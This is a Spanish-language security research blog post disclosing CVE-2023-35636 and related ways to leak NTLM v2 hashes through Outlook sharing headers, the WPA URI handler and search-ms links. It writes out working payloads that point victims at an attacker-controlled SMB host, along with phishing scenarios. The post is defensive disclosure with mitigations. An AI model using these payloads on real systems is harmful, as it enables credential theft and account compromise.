Varonis announces strategic partnership with Microsoft to accelerate the secure adoption of Copilot.

Learn more

Descubrimiento de vulnerabilidades de Outlook y nuevas formas de filtrar hashes NTLM

Los Laboratorios de amenazas de Varonis descubrieron una nueva vulnerabilidad de Outlook y tres nuevas formas de acceder a contraseñas con hash NTLM v2 explotando Outlook, Windows Performance Analyzer (WPA) y Windows File Explorer.
Dolev Taler
8 min read
Last updated 11 de marzo de 2024
microsoft NTLM leaks

TL;DR

Los Laboratorios de amenazas de Varonis descubrieron una nueva vulnerabilidad de Outlook (CVE-2023-35636) entre tres nuevas formas de acceder a contraseñas con hash NTLM v2 explotando Outlook, Windows Performance Analyzer (WPA) y el explorador de archivos de Windows. Al contar con estas contraseñas, los atacantes pueden intentar efectuar un ataque de fuerza bruta sin conexión o un ataque de retransmisión de autenticación para vulnerar una cuenta y obtener acceso.

La misión de los Laboratorios de amenazas de Varonis es descubrir nuevas formas a través de las cuales los datos pueden quedar expuestos, y ayudar a crear soluciones de seguridad para detectar y detener amenazas. Revelamos cada una de estas vulnerabilidades y exploits a Microsoft en julio de 2023. Desde entonces, Microsoft cerró los tickets sobre las vulnerabilidades para WPA y el explorador de archivos de Windows, a las que consideró de "gravedad moderada", y categorizó el exploit de Outlook CVE-2023-35636 como "importante", otorgándole una calificación de 6.5. Microsoft publicó un parche para este CVE el 12 de diciembre de 2023.

Los sistemas sin parches siguen siendo vulnerables a los atacantes que intentan robar contraseñas con hash mediante los siguientes métodos.

¿Qué es CVE-2023-35636?

CVE-2023-35636 un exploit de la función para compartir calendario en Microsoft Outlook a través del cual, al añadir dos encabezados a un correo electrónico, se le indica a Outlook que comparta contenido y contacte a un equipo designado, lo que crea una oportunidad para interceptar un hash NTLM v2.

¿Qué es NTLM v2?

NTLM v2 es un protocolo criptográfico utilizado por Microsoft Windows para autenticar usuarios en servidores remotos. Si bien NTLM v2 es una versión más segura del NTLM original, v2 sigue siendo vulnerable a ataques de retransmisión de autenticación y fuerza bruta sin conexión.

Parte del protocolo NTLM v2 implica transportar contraseñas como hashes de forma segura. El hashing de contraseñas convierte su contraseña (o cualquier otro dato) en una cadena breve de letras o números mediante un algoritmo de cifrado.

Debido a que no se produce salting (agregar un valor aleatorio a la contraseña para evitar tablas hash precalculadas), son equivalentes a la contraseña, lo que significa que si toma el valor hash del servidor, los atacantes pueden autenticarse incluso sin conocer la contraseña real.

NTLM 01 actualizado

Ejemplo de un hash NTLM v2 interceptado.

¿Cómo pueden los atacantes usar hashes NTLM v2?

Los atacantes suelen usar hashes NTLM v2 en dos tipos de ataques: ataques de fuerza bruta sin conexión o retransmisión de autenticación.

Fuerza bruta sin conexión

Un ataque de fuerza bruta sin conexión es un tipo de ataque en el que el atacante tiene acceso a una copia del hash NTLM v2 de la contraseña del usuario y puede usar una computadora para generar todas las contraseñas posibles, probándolas una por una contra el hash hasta encontrar una coincidencia.

Dado que el ataque contra la contraseña ocurre únicamente en el equipo del atacante, el intento no deja pruebas en la red, por lo que resulta indetectable. Esta técnica es tan común que hay una herramienta web gratuita, ntlm.pw, que permite recuperar la contraseña real si se encuentra, lo que demuestra aún más los peligros de este hash y de las contraseñas fáciles de descifrar.

Retransmisión de autenticación

Un ataque de retransmisión de autenticación es un tipo de ataque en el que el atacante intercepta una solicitud de autenticación NTLM v2 y la reenvía a un servidor diferente.

El equipo de la víctima enviará la respuesta de autenticación al servidor del atacante, y este puede usar esa información para autenticarse en el servidor que pretendía usar la víctima.

Filtración de hashes NTLM v2 con Outlook:

Outlook es la herramienta estándar de correo electrónico y calendario para el paquete de Microsoft 365, utilizada por millones de personas en todo el mundo tanto para fines laborales como personales.

Una de las características de Outlook es la capacidad de compartir calendarios entre usuarios. Sin embargo, los atacantes pueden aprovechar esta función, tal como lo descubrieron los Laboratorios de amenazas de Varonis, agregando algunos encabezados en un correo electrónico para iniciar un intento de autenticación, y redirigiendo la contraseña con hash.

El exploit de Outlook:

Para ejecutar con éxito este exploit, se deben agregar dos encabezados de correo a un correo electrónico:

Encabezados explotados:

"Content-Class" = "Sharing"

"x-sharing-config-url" = \\(Attacker machine)\a.ics

  1. "Content-Class" = "Sharing" — Le indica a Outlook que este correo electrónico contiene contenido para compartir.
  2. "x-sharing-config-url" = \\(Attacker machine)\a.ics — La segunda línea apunta el Outlook de la víctima hacia el equipo del atacante.

Escenarios de ataque

  1. Un atacante elabora una invitación por correo electrónico para la víctima, apuntando la ruta de archivo ".ICS" al equipo controlado por el atacante. Al "escuchar" una ruta autocontrolada (dominio, IP, ruta de carpeta, UNC, etc.), el atacante puede obtener paquetes de intentos de conexión que contienen el hash utilizado para intentar acceder a este recurso. Se utilizan muchas herramientas para esta escucha y, en el ejemplo anterior, se utilizó Responder.py (la herramienta de referencia para todos los ataques de hash SMB y NTLM).
  2. Si la víctima hace clic en el botón "Abrir este iCal" dentro del mensaje, su equipo intentará recuperar el archivo de configuración en el equipo del atacante, exponiendo el hash NTLM de la víctima durante la autenticación.

Filtración de hashes NTLM v2 mediante controladores de URI y WPA

Los controladores de URI, también conocidos como esquemas de URI o controladores de protocolo, forman parte de un sistema operativo que permite que las aplicaciones se registren como el protocolo de software o la herramienta específica que se utilizará para los tipos de identificadores de recursos uniformes (URI).

Los controladores de URI permiten una integración perfecta entre diferentes aplicaciones, lo que permite abrir páginas web, lanzar clientes de correo electrónico, iniciar llamadas o hacer otras acciones personalizadas con un simple clic en un enlace. Algunos ejemplos comunes son "http://" o “mailto://”.

Windows Performance Analyzer (WPA) es una herramienta completa y con muchas funciones que se incluye en Windows Performance Toolkit y en el Software Development Kit.

Debido a que esta función se proporciona de forma predeterminada, se utiliza en muchos equipos de desarrolladores. Al igual que otros programas, WPA instala un controlador URI para "WPA://" de forma predeterminada, lo que permite que el programa se inicie automáticamente cuando un usuario hace clic en un enlace relacionado con WPA.

Solicitud WPAEl controlador URI utiliza Windows Edge para procesar la solicitud WPA.

Abrir aplicación WPAUna vez recibido un enlace WPA, Edge intentará abrir la aplicación WPA, lo que generará una advertencia.

Lo que hace que esto sea interesante es que WPA intenta autenticarse utilizando NTLM v2 a través de la red abierta.

NTLM 01 actualizadoEl hash NTLM v2 interceptado

Por lo general, se debe utilizar NTLM v2 al intentar autenticarse en servicios internos basados en direcciones IP. Sin embargo, cuando el hash NTLM v2 pasa a través de la Internet abierta, es vulnerable a ataques de retransmisión y de fuerza bruta fuera de línea.

El exploit de WPA

La carga útil completa es simple y consta de solo tres partes.

  1. Carga útil completa:
    wpa:////<attacker IP>/bla
    wpa:// — El controlador de URI: Esta parte le indica al sistema operativo que este enlace se debe abrir en WPA.
  2. //<attacker IP> — Esto le dice al equipo de la víctima que acceda al equipo del atacante a través de SMB.
    Por lo general, una ruta de acceso SMB se escribirá con una barra diagonal hacia atrás (\\<path>), pero WPA también acepta una barra diagonal común, que es más compatible con la URL. 
  3. /bla — Le indica al equipo de la víctima a qué archivo debe acceder. En el ejemplo anterior, se trata de una ruta de archivo aleatoria falsa.

Escenario de ataque

  1. El atacante envía un correo electrónico señuelo a una víctima, y dentro del correo electrónico hay un enlace a https://com
  2. Al hacer clic, el sitio malicioso crea una redirección automática y redirige a la víctima a la carga útil wpa:////malicioussite.com/bla
  3. Cuando la víctima hace clic en el botón Abrir WPA, el atacante obtiene su contraseña NTLM v2 con hash.

Filtración de hashes NTLM v2 con el explorador de archivos de Windows

El ataque WPA puede parecer una forma sencilla para que los atacantes obtengan acceso, pero la mayoría de los usuarios no son desarrolladores y es posible que no tengan WPA instalado.

Los Laboratorios de amenazas de Varonis continuaron nuestra investigación y descubrieron que podemos hacer el mismo ataque mediante el proceso del administrador de archivos de Windows, explorer.exe. Nota: En adelante, usaremos explorer.exe para referirnos al proceso, no al producto en sí.

Explorer.exe le permite explorar sus archivos y carpetas, copiar y mover archivos, así como y crear y eliminar carpetas. Explorer.exe también incluye una potente función de búsqueda que le permite encontrar los archivos de forma rápida y sencilla.

Para apuntar explorer.exe a la web, existe un identificador de URI "search-ms" que activa la búsqueda de explorer.exe. y puede usar parámetros de búsqueda avanzada en caso de que sea necesario.

Las vulnerabilidades del explorador de archivos de Windows

Encontramos dos parámetros únicos en la documentación de Microsoft que eran menos conocidos en cuanto a su comportamiento y sus valores esperados; estos son los parámetros "subquery" y "crumb".

El primer método para contrabandear los hashes NTLM v2 es usar el parámetro subquery:

search-ms://query=poc&subquery=\\(Attacker machine)\poc.search-ms

  1. search-ms:// — El controlador de URI: Esto le dice al sistema operativo que este enlace debe abrirse en exe.
  2. query=poc — Consulta de búsqueda falsa
  3. &subquery=\\(Attacker machine)\poc.search-ms — Ruta al archivo .search-ms . Por lo general, esto contendría una ruta de acceso a un archivo subquery para ejecutar, pero el atacante puede usarlo para hacer que el equipo de la víctima se conecte a un SMB remoto para robar el hash.

Escenario de ataque

  1. Un atacante crea un enlace malicioso utilizando el exploit descrito anteriormente. Dado que el explorador de archivos de Windows es una aplicación confiable de Windows, las víctimas pueden sentirse más cómodas haciendo clic en ella.
  2. Para enviar a la víctima el enlace malicioso, un ataque puede utilizar phishing por correo electrónico, un anuncio falso en un sitio web o incluso enviar el enlace directamente a través de las redes sociales.
  3. Una vez que la víctima hace clic en el enlace, el atacante puede obtener el hash y luego intentar descifrar la contraseña del usuario sin conexión.
  4. Una vez descifrado el hash y obtenida la contraseña, el atacante puede utilizarla para entrar en la organización como si fuera el usuario. Con esta carga útil, explorer.exe intentará buscar archivos con la extensión .search-ms.

Cuando el equipo de la víctima intenta conectarse al equipo del atacante para recuperar el archivo, el hash NTLM v2 se envía a ese atacante.

Este método da como resultado un comando rundll32 abierto con el parámetro:
rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <attacker domain> http:// <attacker domain>/poc.search-ms

Ventana emergente de NTLMUn ejemplo de la ventana emergente que verá la víctima. Al hacer clic en el botón "Abrir en el explorador", se enviará el hash del usuario al atacante.

NTLM_04_V2Después de que la víctima haga clic en el enlace, el atacante obtendrá las contraseñas con hash de la víctima.

NTLM 15 editado

El mismo patrón que "DavSetCookie" en los logs.

Un patrón familiar

Este método da como resultado los mismos indicadores de vulneración que CVE-2023-23397 y puede ser descubierto por algunas de las mismas detecciones con la misma función DavSetCookies.

El segundo método que encontramos para contrabandear hashes NTLM es mediante el parámetro crumb:

search-ms://query=poc&crumb=location:\\(Attacker machine)

  1. search-ms:// — El controlador de URI: Esto le dice al sistema operativo que este enlace debe abrirse en exe.
  2. query=poc — Consulta de búsqueda falsa
  3. crumb=location:\\(Attacker machine) — La propiedad de ubicación bajo el parámetro crumb le permite al usuario especificar una ruta para la búsqueda. Un atacante puede usar la combinación de crumb y ubicación para hacer que el equipo de la víctima se conecte a un SMB remoto para robar el hash.

Escenario de ataque

Este exploit utiliza el mismo escenario de ataque que el del explorador de archivos de Windows.

  1. Un atacante crea un enlace malicioso utilizando el exploit descrito anteriormente.
  2. Para enviar a la víctima el enlace malicioso, un ataque puede usar phishing por correo electrónico, un anuncio falso en un sitio web o incluso enviar el enlace directamente a través de las redes sociales.
  3. Una vez que la víctima hace clic en el enlace, el atacante puede obtener el hash y luego intentar descifrar la contraseña del usuario sin conexión.
  4. Una vez descifrado el hash y obtenida la contraseña, el atacante puede utilizarla para entrar en la organización como si fuera el usuario.

El parámetro crumb puede usar la ubicación especial para seleccionar explorer.exe para la base de la búsqueda, o dónde comienza una consulta de búsqueda. Esta función le permite al atacante dirigir el equipo de la víctima para que se conecte y se autentique con el equipo del atacante, lo que crea la oportunidad de robar la contraseña con hash.

A diferencia del parámetro subquery, en este caso, no hay una instancia rundll32: toda la comunicación es directamente desde explorer.exe. De hecho, este ataque elude todas las detecciones anteriores de CVE-2023-23397.

Tres procesos completadosTenga en cuenta los tres procesos completados que muestran que no se detectó el exploit.

La respuesta de Microsoft

Microsoft ha reconocido el exploit de Outlook como un CVE-2023-35636 "importante", con calificación 6.5, y publicó un parche para CVE-2023-35636 el 12 de diciembre de 2023.

Varonis notificó a Microsoft a través del Centro de respuestas de seguridad de Microsoft sobre la vulnerabilidad de WPA el 5 de julio de 2023 e informó la vulnerabilidad del explorador de archivos de Windows el 30 de julio de 2023. Microsoft cerró ambos tickets debido a que los consideró de "gravedad moderada".

Los sistemas sin parches siguen siendo vulnerables a los atacantes que intentan robar contraseñas con hash mediante estos métodos.

Cómo protegerse de los ataques NTLM v2

Existen varias maneras de protegerse contra los ataques NTLM v2:

  • Firma SMB — La firma SMB es una función de seguridad que ayuda a proteger el tráfico SMB de manipulaciones y ataques de intermediarios. Funciona al firmar digitalmente todos los mensajes de SMB. Esto significa que, si un atacante intenta modificar un mensaje SMB, el destinatario podrá detectar el cambio y rechazar el mensaje.

    La firma de SMB está activada en Windows Server 2022 y en versiones posteriores de forma predeterminada, y en Windows 11 Enterprise Edition (a partir de la compilación de vista previa 25381).
  • Bloqueo de NTLM v2 saliente, a partir de Windows 11 (25951). Microsoft agregó la opción de bloquear la autenticación NTLM saliente.
  • Forzar la autenticación Kerberos siempre que sea posible y bloquear NTLM v2 tanto a nivel de red como de aplicación.

What you should do now

Below are three ways we can help you begin your journey to reducing data risk at your company:

  1. Schedule a demo session with us, where we can show you around, answer your questions, and help you see if Varonis is right for you.
  2. Download our free report and learn the risks associated with SaaS data exposure.
  3. Share this blog post with someone you know who'd enjoy reading it. Share it with them via email, LinkedIn, Reddit, or Facebook.

Try Varonis free.

Get a detailed data risk report based on your company’s data.
Deploys in minutes.

Keep reading

Varonis tackles hundreds of use cases, making it the ultimate platform to stop data breaches and ensure compliance.